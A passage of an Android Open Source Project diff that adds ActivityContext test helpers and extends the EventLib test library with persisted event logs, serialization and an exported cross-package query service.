+    /**
+     * {@link #getWithContext(Function)} which takes an additional argument and does not
+     * return a value.
+     */
+    public static <E> void runWithContext(E arg1, BiConsumer<Activity, E> runnable)
+            throws InterruptedException {
+        getWithContext((inContext) -> {runnable.accept(inContext, arg1); return null; });
+    }
+
+    /** {@link #getWithContext(Function)} with two additional arguments. */
+    public static <E, F, G> G getWithContext(E arg1, F arg2,
+            TriFunction<Activity, E, F, G> runnable) throws InterruptedException {
+        return getWithContext((inContext) -> runnable.apply(inContext, arg1, arg2));
+    }
+
+    /** {@link #getWithContext(Function)} with three additional arguments. */
+    public static <E, F, G, H> H getWithContext(E arg1, F arg2, G arg3,
+            QuadFunction<Activity, E, F, G, H> runnable) throws InterruptedException {
+        return getWithContext((inContext) -> runnable.apply(inContext, arg1, arg2, arg3));
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        synchronized (ActivityContext.class) {
+            if (sRunnable == null) {
+                Log.e(LOG_TAG, "Launched ActivityContext without runnable");
+            } else {
+                sReturnValue = sRunnable.apply(this);
+                sLatch.countDown();
+            }
+        }
+    }
+}
diff --git a/common/device-side/bedstead/activitycontext/src/test/AndroidManifest.xml b/common/device-side/bedstead/activitycontext/src/test/AndroidManifest.xml
new file mode 100644
index 0000000..21a5dfc
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/test/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.activitycontext.test">
+    <application
+        android:label="ActivityContext Tests">
+        <uses-library android:name="android.test.runner" />
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.activitycontext.test"
+                     android:label="Activity Context Tests" />
+</manifest>
diff --git a/common/device-side/bedstead/activitycontext/src/test/java/com/android/activitycontext/ActivityContextTest.java b/common/device-side/bedstead/activitycontext/src/test/java/com/android/activitycontext/ActivityContextTest.java
new file mode 100644
index 0000000..2086cf1
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/test/java/com/android/activitycontext/ActivityContextTest.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.activitycontext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+
+import com.android.compatibility.common.util.BlockingCallback;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.Objects;
+import java.util.function.BiConsumer;
+import java.util.function.Consumer;
+
+@RunWith(JUnit4.class)
+public class ActivityContextTest {
+    private static final String STRING_VALUE = "String";
+    private static final int INT_VALUE = 1;
+    private static final boolean BOOLEAN_VALUE = true;
+
+    @Test
+    public void getWithContext_passesActivityContext() throws Exception {
+        boolean contextIsActivityContext = ActivityContext.getWithContext(Objects::nonNull);
+
+        assertThat(contextIsActivityContext).isTrue();
+    }
+
+    @Test
+    public void getWithContext_oneArgument_passesActivityContext() throws Exception {
+        boolean contextIsActivityContext = ActivityContext.getWithContext(
+                STRING_VALUE, (context, str) -> context != null);
+
+        assertThat(contextIsActivityContext).isTrue();
+    }
+
+    @Test
+    public void getWithContext_oneArgument_passesFirstArgument() throws Exception {
+        String passedString = ActivityContext.getWithContext(STRING_VALUE, (context, str) -> str);
+
+        assertThat(passedString).isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    public void getWithContext_twoArguments_passesActivityContext() throws Exception {
+        boolean contextIsActivityContext = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, (context, str, i) -> context != null);
+
+        assertThat(contextIsActivityContext).isTrue();
+    }
+
+    @Test
+    public void getWithContext_twoArguments_passesFirstArgument() throws Exception {
+        String passedString = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, (context, str, i) -> str);
+
+        assertThat(passedString).isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    public void getWithContext_twoArguments_passesSecondArgument() throws Exception {
+        int passedInt = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, (context, str, i) -> i);
+
+        assertThat(passedInt).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void getWithContext_threeArguments_passesActivityContext() throws Exception {
+        boolean contextIsActivityContext = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, BOOLEAN_VALUE,
+                (context, str, i, b) -> context != null);
+
+        assertThat(contextIsActivityContext).isTrue();
+    }
+
+    @Test
+    public void getWithContext_threeArguments_passesFirstArgument() throws Exception {
+        String passedString = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, BOOLEAN_VALUE, (context, str, i, b) -> str);
+
+        assertThat(passedString).isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    public void getWithContext_threeArguments_passesSecondArgument() throws Exception {
+        int passedInt = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, BOOLEAN_VALUE, (context, str, i, b) -> i);
+
+        assertThat(passedInt).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void getWithContext_threeArguments_passesThirdArgument() throws Exception {
+        boolean passedBoolean = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, BOOLEAN_VALUE, (context, str, i, b) -> b);
+
+        assertThat(passedBoolean).isEqualTo(BOOLEAN_VALUE);
+    }
+
+    @Test
+    public void runWithContext_passesActivityContext() throws Exception {
+        BlockingActivityConsumer callback = new BlockingActivityConsumer();
+
+        ActivityContext.runWithContext(callback);
+
+        assertThat(callback.await()).isTrue();
+    }
+
+    private static final class BlockingActivityConsumer extends BlockingCallback<Boolean> implements
+            Consumer<Activity> {
+        @Override
+        public void accept(Activity activity) {
+            callbackTriggered(activity != null);
+        }
+    }
+
+    @Test
+    public void runWithContext_oneArgument_passesActivityContext() throws Exception {
+        BlockingActivityBiConsumerChecksActivity callback =
+                new BlockingActivityBiConsumerChecksActivity();
+
+        ActivityContext.runWithContext(STRING_VALUE, callback);
+
+        assertThat(callback.await()).isTrue();
+    }
+
+    private static final class BlockingActivityBiConsumerChecksActivity
+            extends BlockingCallback<Boolean> implements BiConsumer<Activity, String> {
+        @Override
+        public void accept(Activity activity, String s) {
+            callbackTriggered(activity != null);
+        }
+    }
+
+    @Test
+    public void runWithContext_oneArgument_passesFirstArgument() throws Exception {
+        BlockingActivityBiConsumerReturnsFirstArgument callback =
+                new BlockingActivityBiConsumerReturnsFirstArgument();
+
+        ActivityContext.runWithContext(STRING_VALUE, callback);
+
+        assertThat(callback.await()).isEqualTo(STRING_VALUE);
+    }
+
+    private static final class BlockingActivityBiConsumerReturnsFirstArgument
+            extends BlockingCallback<String> implements BiConsumer<Activity, String> {
+        @Override
+        public void accept(Activity activity, String s) {
+            callbackTriggered(s);
+        }
+    }
+}
diff --git a/common/device-side/eventlib/Android.bp b/common/device-side/eventlib/Android.bp
index a98bdaa..a4b6fc9 100644
--- a/common/device-side/eventlib/Android.bp
+++ b/common/device-side/eventlib/Android.bp
@@ -1,5 +1,6 @@
 android_library {
     name: "EventLib",
+    sdk_version: "current",
     srcs: [
         "src/main/java/**/*.java",
         "src/main/aidl/**/I*.aidl",
@@ -7,6 +8,7 @@
     static_libs: [
         "androidx.test.ext.junit"],
     manifest: "src/main/AndroidManifest.xml",
+    min_sdk_version: "26"
 }
 
 android_test {
@@ -14,6 +16,19 @@
     srcs: [
         "src/test/java/**/*.java"
     ],
-    static_libs: ["EventLib", "androidx.test.ext.junit", "ctstestrunner-axt", "truth-prebuilt"],
+    test_suites: [
+        "general-tests",
+    ],
+    static_libs: [
+        "EventLib",
+        "androidx.test.ext.junit",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+        "testng", // for assertThrows
+        "mockito-target-minus-junit4", // TODO(scottjonathan): Remove once we can get rid of mocks
+        "compatibility-device-util-axt", // used for SystemUtil.runShellCommandOrThrow
+    ],
+    data: [":EventLibTestApp"],
     manifest: "src/test/AndroidManifest.xml",
+    min_sdk_version: "26"
 }
\ No newline at end of file
diff --git a/common/device-side/eventlib/AndroidTest.xml b/common/device-side/eventlib/AndroidTest.xml
index 7ff0e4f..92bc28a 100644
--- a/common/device-side/eventlib/AndroidTest.xml
+++ b/common/device-side/eventlib/AndroidTest.xml
@@ -18,6 +18,7 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="EventLibTest.apk" />
+        <option name="test-file-name" value="EventLibTestApp.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="com.android.eventlib.test" />
diff --git a/common/device-side/eventlib/TEST_MAPPING b/common/device-side/eventlib/TEST_MAPPING
new file mode 100644
index 0000000..c19ccac
--- /dev/null
+++ b/common/device-side/eventlib/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "EventLibTest"
+    }
+  ]
+}
diff --git a/common/device-side/eventlib/src/main/AndroidManifest.xml b/common/device-side/eventlib/src/main/AndroidManifest.xml
index cc4f373..19ce3fa 100644
--- a/common/device-side/eventlib/src/main/AndroidManifest.xml
+++ b/common/device-side/eventlib/src/main/AndroidManifest.xml
@@ -18,6 +18,8 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.eventlib">
+    <uses-sdk android:minSdkVersion="26" />
     <application>
+        <service android:name="com.android.eventlib.QueryService" android:exported="true"/>
     </application>
 </manifest>
diff --git a/common/device-side/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl b/common/device-side/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl
new file mode 100644
index 0000000..27b5ba7
--- /dev/null
+++ b/common/device-side/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl
@@ -0,0 +1,64 @@
+package com.android.eventlib;
+
+/**
+ * Service exposed to allow other packages to query logged events in this package.
+ */
+interface IQueryService {
+    /**
+     * Initialise a new query.
+     *
+     * <p>This method must be called before any other interaction with this service.
+     *
+     * <p>The {@code data} must contain a {@code QUERIER} key which contains a serialized instance
+     * of {@code EventQuerier}.
+     */
+    void init(long id, in Bundle data);
+
+    /**
+     * Remote equivalent of {@code EventQuerier#get}.
+     *
+     * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+     * instance of {@code Instant}.
+     *
+     * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+     * {@code Event}.
+     */
+    Bundle get(long id, in Bundle data);
+
+    /**
+     * Remote equivalent of {@code EventQuerier#get} which increments the count of skipped
+     * results for calls to {@link #get}.
+     *
+     * <p>This should be used when the result from {@link #get} does not pass additional filters.
+     *
+     * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+     * instance of {@code Instant}.
+     *
+     * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+     * {@code Event}.
+     */
+    Bundle getNext(long id, in Bundle data);
+
+    /**
+     * Remote equivalent of {@code EventQuerier#next}.
+     *
+     * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+     * instance of {@code Instant}.
+     *
+     * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+     * {@code Event}.
+     */
+    Bundle next(long id, in Bundle data);
+
+    /**
+     * Remote equivalent of {@code EventQuerier#poll}.
+     *
+     * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+     * instance of {@code Instant}, and a {@code TIMEOUT} key which contains a serialized instance
+     * of {@code Duration}.
+     *
+     * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+     * {@code Event}.
+     */
+    Bundle poll(long id, in Bundle data);
+}
\ No newline at end of file
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java
index 8c779be..40afafb 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java
@@ -16,6 +16,12 @@
 
 package com.android.eventlib;
 
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
 import java.io.Serializable;
 import java.time.Instant;
 
@@ -38,4 +44,33 @@
     public Instant timestamp() {
         return mTimestamp;
     }
+
+    /**
+     * Serialize the {@link Event} to a byte array.
+     *
+     * <p>The resulting array can be deserialized using {@link #fromBytes(byte[])}.
+     */
+    byte[] toBytes() throws IOException {
+        try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
+             ObjectOutputStream out = new ObjectOutputStream(bos)) {
+            out.writeObject(this);
+            out.flush();
+            return bos.toByteArray();
+        }
+    }
+
+    /**
+     * Deserialize an {@link Event} from a byte array created using {@link #toBytes()}.
+     */
+    static Event fromBytes(byte[] bytes) throws IOException {
+        try (ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
+             ObjectInput in = new ObjectInputStream(bis)) {
+            try {
+                return (Event) in.readObject();
+            } catch (ClassNotFoundException e) {
+                throw new IllegalStateException(
+                        "Trying to read Event which is not on classpath", e);
+            }
+        }
+    }
 }
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java
index f94dd9b..2caade2 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java
@@ -50,6 +50,6 @@
         mEvent.mPackageName = mContext.getPackageName();
         mEvent.mTimestamp = Instant.now();
 
-        Events.EVENTS.log(mEvent);
+        Events.getInstance(mContext).log(mEvent);
     }
 }
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogs.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogs.java
index 29cfd5b..b881af9 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogs.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogs.java
@@ -18,20 +18,15 @@
 
 import android.util.Log;
 
+import java.io.Serializable;
 import java.time.Duration;
 import java.time.Instant;
 
 /** Interface to interact with the results of an {@link EventLogsQuery}. */
-public abstract class EventLogs<E extends Event> {
+public abstract class EventLogs<E extends Event> implements Serializable {
     static final Duration DEFAULT_POLL_TIMEOUT = Duration.ofMinutes(5);
 
-    private static Instant sEarliestLogTime = null;
-
-    /** Returns the specific implementation of {@link Event} being queried for. */
-    protected abstract Class<E> eventClass();
-
-    /** Returns true if {@code E} matches the custom filters for this {@link Event} subclass. */
-    protected abstract boolean filter(E event);
+    static Instant sEarliestLogTime = Instant.now();
 
     /**
      * Returns the {@link EventQuerier} to be used to interact with the
@@ -100,4 +95,29 @@
         return poll(DEFAULT_POLL_TIMEOUT);
     }
 
+    /**
+     * Gets the earliest logged event matching the query which has not be returned by a previous
+     * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+     *
+     * <p>This will timeout after {@code timeout} and throw an {@link AssertionError} if no
+     * matching event is logged.
+     */
+    public E pollOrFail(Duration timeout) {
+        E event = poll(timeout);
+        if (event == null) {
+            throw new AssertionError("No event was found before timeout");
+        }
+        return event;
+    }
+
+    /**
+     * Gets the earliest logged event matching the query which has not be returned by a previous
+     * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+     *
+     * <p>This will timeout after {@link #DEFAULT_POLL_TIMEOUT} and throw an {@link AssertionError}
+     * if no matching event is logged.
+     */
+    public E pollOrFail() {
+        return pollOrFail(DEFAULT_POLL_TIMEOUT);
+    }
 }
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
index fc16085..26775dc 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
@@ -16,9 +16,11 @@
 
 package com.android.eventlib;
 
-import android.content.Context;
+import android.os.UserHandle;
 
-import androidx.test.platform.app.InstrumentationRegistry;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.function.Function;
 
 /**
  * Interface to provide additional restrictions on an {@link Event} query.
@@ -26,10 +28,6 @@
 public abstract class EventLogsQuery<E extends Event, F extends EventLogsQuery>
         extends EventLogs<E> {
 
-    // We can do this as we expect to only query when running inside instrumentation
-    private static final Context CONTEXT =
-            InstrumentationRegistry.getInstrumentation().getContext();
-
     /**
      * Default implementation of {@link EventLogsQuery} used when there are no additional query
      * options to add.
@@ -47,14 +45,14 @@
 
     private final Class<E> mEventClass;
     private final String mPackageName;
+    private final transient Set<Function<E, Boolean>> filters = new HashSet<>();
+    private transient UserHandle mUserHandle = null; // null is default, meaning current user
 
     protected EventLogsQuery(Class<E> eventClass, String packageName) {
         if (eventClass == null || packageName == null) {
             throw new NullPointerException();
         }
-        if (!packageName.equals(CONTEXT.getPackageName())) {
-            throw new IllegalArgumentException("Only events in the current package can be queried");
-        }
+        mQuerier = new RemoteEventQuerier<>(packageName, this);
         mEventClass = eventClass;
         mPackageName = packageName;
     }
@@ -64,16 +62,51 @@
         return mPackageName;
     }
 
-    @Override
     protected Class<E> eventClass() {
         return mEventClass;
     }
 
-    // Currently we only support local events - this will need to be replaced when we support more
-    private final EventQuerier<E> mQuerier = new LocalEventQuerier<>(this);
+    private final transient EventQuerier<E> mQuerier;
 
     @Override
     protected EventQuerier<E> getQuerier() {
         return mQuerier;
     }
+
+    /** Apply a lambda filter to the results. */
+    public F filter(Function<E, Boolean> filter) {
+        filters.add(filter);
+        return (F) this;
+    }
+
+    /**
+     * Returns true if {@code E} matches custom and default filters for this {@link Event} subclass.
+     */
+    protected final boolean filterAll(E event) {
+        if (filters != null) {
+            // Filters will be null when called remotely
+            for (Function<E, Boolean> filter : filters) {
+                if (!filter.apply(event)) {
+                    return false;
+                }
+            }
+        }
+        return filter(event);
+    }
+
+    /** Returns true if {@code E} matches the custom filters for this {@link Event} subclass. */
+    protected abstract boolean filter(E event);
+
+    /** Query a package running on another user. */
+    public F onUser(UserHandle userHandle) {
+        if (userHandle == null) {
+            throw new NullPointerException();
+        }
+        mUserHandle = userHandle;
+        return (F) this;
+    }
+
+    UserHandle getUserHandle() {
+        return mUserHandle;
+    }
 }
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java
index f7a0227..38c1543 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java
@@ -16,6 +16,16 @@
 
 package com.android.eventlib;
 
+import android.content.Context;
+import android.util.Log;
+
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.time.Duration;
+import java.time.Instant;
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.List;
@@ -25,24 +35,107 @@
 /** Event store for the current package. */
 class Events {
 
+    private static final String TAG = "Events";
+    private static final String EVENT_LOG_FILE_NAME = "Events";
+    private static final Duration MAX_LOG_AGE = Duration.ofMinutes(5);
+    private static final int BYTES_PER_INT = 4;
+
     /** Interface used to be informed when new events are logged. */
     interface EventListener {
         void onNewEvent(Event e);
     }
 
-    public static final Events EVENTS = new Events();
+    private static Events mInstance;
 
-    private Events() {
+    static Events getInstance(Context context) {
+        if (mInstance == null) {
+            synchronized (Events.class) {
+                if (mInstance == null) {
+                    mInstance = new Events(context.getApplicationContext());
+                    mInstance.initialiseFiles();
+                }
+            }
+        }
+        return mInstance;
+    }
 
+    private final Context mContext; // ApplicationContext
+    private FileOutputStream mOutputStream;
+
+    private Events(Context context) {
+        this.mContext = context;
+    }
+
+    private void initialiseFiles() {
+        loadEventsFromFile();
+        try {
+            mOutputStream = mContext.openFileOutput(EVENT_LOG_FILE_NAME, Context.MODE_PRIVATE);
+            // We clear the file and write the logs again so we can exclude old logs
+            // This avoids the file growing without limit
+            writeAllEventsToFile();
+        } catch (FileNotFoundException e) {
+            throw new IllegalStateException("Could not write event log", e);
+        }
+    }
+
+    private void loadEventsFromFile() {
+        Instant now = Instant.now();
+        try (FileInputStream fileInputStream = mContext.openFileInput(EVENT_LOG_FILE_NAME)) {
+            Event event = readEvent(fileInputStream);
+
+            while (event != null) {
+                if (event.mTimestamp.plus(MAX_LOG_AGE).isBefore(now)) {
+                    continue;
+                }
+                mEventList.add(event);
+                event = readEvent(fileInputStream);
+            }
+        } catch (FileNotFoundException e) {
+            // Ignore this exception as if there's no file there's nothing to load
+        } catch (IOException e) {
+            Log.e(TAG, "Error when loading events from file", e);
+        }
+    }
+
+    private void writeAllEventsToFile() {
+        for (Event event : mEventList) {
+            writeEventToFile(event);
+        }
+    }
+
+    private Event readEvent(FileInputStream fileInputStream) throws IOException {
+        if (fileInputStream.available() < BYTES_PER_INT) {
+            return null;
+        }
+        byte[] sizeBytes = new byte[BYTES_PER_INT];
+        fileInputStream.read(sizeBytes);
+
+        int size = ByteBuffer.wrap(sizeBytes).getInt();
+
+        byte[] eventBytes = new byte[size];
+        fileInputStream.read(eventBytes);
+
+        return Event.fromBytes(eventBytes);
     }
 
     /** Saves the event so it can be queried. */
     void log(Event event) {
-        // TODO: This should probably be synchronized to avoid race conditions
+        Log.d(TAG, event.toString());
 
-        mEventList.add(event);
+        mEventList.add(event); // TODO: This should be made immutable before adding
+        writeEventToFile(event);
         triggerEventListeners(event);
-        // TODO: Serialize in case the process crashes
+    }
+
+    private void writeEventToFile(Event event) {
+        try {
+            byte[] eventBytes = event.toBytes();
+            mOutputStream.write(
+                    ByteBuffer.allocate(BYTES_PER_INT).putInt(eventBytes.length).array());
+            mOutputStream.write(eventBytes);
+        } catch (IOException e) {
+            throw new IllegalStateException("Error writing event to log", e);
+        }
     }
 
     private final List<Event> mEventList = new ArrayList<>();
@@ -57,12 +150,16 @@
 
     /** Register an {@link EventListener} to be called when a new {@link Event} is logged. */
     public void registerEventListener(EventListener listener) {
-        mEventListeners.add(listener);
+        synchronized (Events.class) {
+            mEventListeners.add(listener);
+        }
     }
 
     private void triggerEventListeners(Event event) {
-        for (EventListener listener : mEventListeners) {
-            listener.onNewEvent(event);
+        synchronized (Events.class) {
+            for (EventListener listener : mEventListeners) {
+                listener.onNewEvent(event);
+            }
         }
     }
 
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
index 8780563..ff46782 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
@@ -16,7 +16,7 @@
 
 package com.android.eventlib;
 
-import android.util.Log;
+import android.content.Context;
 
 import java.time.Duration;
 import java.time.Instant;
@@ -28,26 +28,32 @@
 /**
  * Implementation of {@link EventQuerier} which queries data about the current package.
  */
-public class LocalEventQuerier<E extends Event> implements EventQuerier<E>, Events.EventListener {
-    private final EventLogs<E> mEventLogs;
-    private final BlockingDeque<Event> mEvents;
+public class LocalEventQuerier<E extends Event, F extends EventLogsQuery> implements EventQuerier<E>, Events.EventListener {
+    private final EventLogsQuery<E, F> mEventLogsQuery;
+    private final Events mEvents;
+    private final BlockingDeque<Event> mFetchedEvents;
+    private int skippedGet = 0;
 
-    LocalEventQuerier(EventLogs<E> eventLogs) {
-        mEventLogs = eventLogs;
-        mEvents = new LinkedBlockingDeque<>(Events.EVENTS.getEvents());
-        Events.EVENTS.registerEventListener(this);
+    LocalEventQuerier(Context context, EventLogsQuery<E, F> eventLogsQuery) {
+        mEventLogsQuery = eventLogsQuery;
+        mEvents = Events.getInstance(context);
+        mFetchedEvents = new LinkedBlockingDeque<>(mEvents.getEvents());
+        mEvents.registerEventListener(this);
     }
 
     @Override
     public E get(Instant earliestLogTime) {
-        for (Event event : Events.EVENTS.getEvents()) {
-            if (mEventLogs.eventClass().isInstance(event)) {
+        int skipped = 0;
+        for (Event event : mEvents.getEvents()) {
+            if (mEventLogsQuery.eventClass().isInstance(event)) {
                 if (event.mTimestamp.isBefore(earliestLogTime)) {
                     continue;
+                } else if (skipped++ < skippedGet) {
+                    continue;
                 }
 
                 E typedEvent = (E) event;
-                if (mEventLogs.filter(typedEvent)) {
+                if (mEventLogsQuery.filterAll(typedEvent)) {
                     return typedEvent;
                 }
             }
@@ -55,18 +61,29 @@
         return null;
     }
 
+    /**
+     * Same as {@link #get(Instant)} but incremements the number of skipped results.
+     *
+     * <p>This should be used when the current result from {@link #get(Instant)} does not pass
+     * additional filters.
+     */
+    public E getNext(Instant earliestLogTime) {
+        skippedGet += 1;
+        return get(earliestLogTime);
+    }
+
     @Override
     public E next(Instant earliestLogTime) {
-        while (!mEvents.isEmpty()) {
-            Event event = mEvents.removeFirst();
+        while (!mFetchedEvents.isEmpty()) {
+            Event event = mFetchedEvents.removeFirst();
 
-            if (mEventLogs.eventClass().isInstance(event)) {
+            if (mEventLogsQuery.eventClass().isInstance(event)) {
                 if (event.mTimestamp.isBefore(earliestLogTime)) {
                     continue;
                 }
 
                 E typedEvent = (E) event;
-                if (mEventLogs.filter(typedEvent)) {
+                if (mEventLogsQuery.filterAll(typedEvent)) {
                     return typedEvent;
                 }
             }
@@ -81,9 +98,8 @@
             Event event = null;
             try {
                 Duration remainingTimeout = Duration.between(Instant.now(), endTime);
-                event = mEvents.pollFirst(remainingTimeout.toMillis(), TimeUnit.MILLISECONDS);
+                event = mFetchedEvents.pollFirst(remainingTimeout.toMillis(), TimeUnit.MILLISECONDS);
             } catch (InterruptedException e) {
-                Log.e("LocalInternalEventQuerier", "Interrupted waiting for event", e);
                 return null;
             }
 
@@ -92,13 +108,13 @@
                 return null;
             }
 
-            if (mEventLogs.eventClass().isInstance(event)) {
+            if (mEventLogsQuery.eventClass().isInstance(event)) {
                 if (event.mTimestamp.isBefore(earliestLogTime)) {
                     continue;
                 }
 
                 E typedEvent = (E) event;
-                if (mEventLogs.filter(typedEvent)) {
+                if (mEventLogsQuery.filterAll(typedEvent)) {
                     return typedEvent;
                 }
             }
@@ -107,6 +123,6 @@
 
     @Override
     public void onNewEvent(Event event) {
-        mEvents.addLast(event);
+        mFetchedEvents.addLast(event);
     }
 }
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/QueryService.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/QueryService.java
new file mode 100644
index 0000000..4efd3ce
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/QueryService.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+
+import java.time.Duration;
+import java.time.Instant;
+import java.util.concurrent.ConcurrentHashMap;
+
+/**
+ * Implementation of {@link IQueryService}.
+ */
+public final class QueryService extends Service {
+
+    public static final String EARLIEST_LOG_TIME_KEY = "EARLIEST_LOG_TIME";
+    public static final String QUERIER_KEY = "QUERIER";
+    public static final String EVENT_KEY = "EVENT";
+    public static final String TIMEOUT_KEY = "TIMEOUT";
+
+    private static class QueryClient {
+        final EventLogsQuery<?, ?> query;
+        final LocalEventQuerier<?, ?> querier;
+
+        public QueryClient(EventLogsQuery<?, ?> query, LocalEventQuerier<?, ?> querier) {
+            this.query = query;
+            this.querier = querier;
+        }
+    }
+
+    private final IQueryService.Stub binder = new IQueryService.Stub() {
+
+        // Map of all initialised clients, to keep track of progress when using poll/next
+        private final ConcurrentHashMap<Long, QueryClient> clients = new ConcurrentHashMap<>();
+
+        @Override
+        public void init(long id, Bundle data) {
+            EventLogsQuery<?, ?> query = (EventLogsQuery<?, ?>) data.getSerializable(QUERIER_KEY);
+            LocalEventQuerier<?, ?> querier =
+                    new LocalEventQuerier<>(getApplicationContext(), query);
+
+            clients.put(id, new QueryClient(query, querier));
+        }
+
+        @Override
+        public Bundle get(long id, Bundle data) {
+            Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
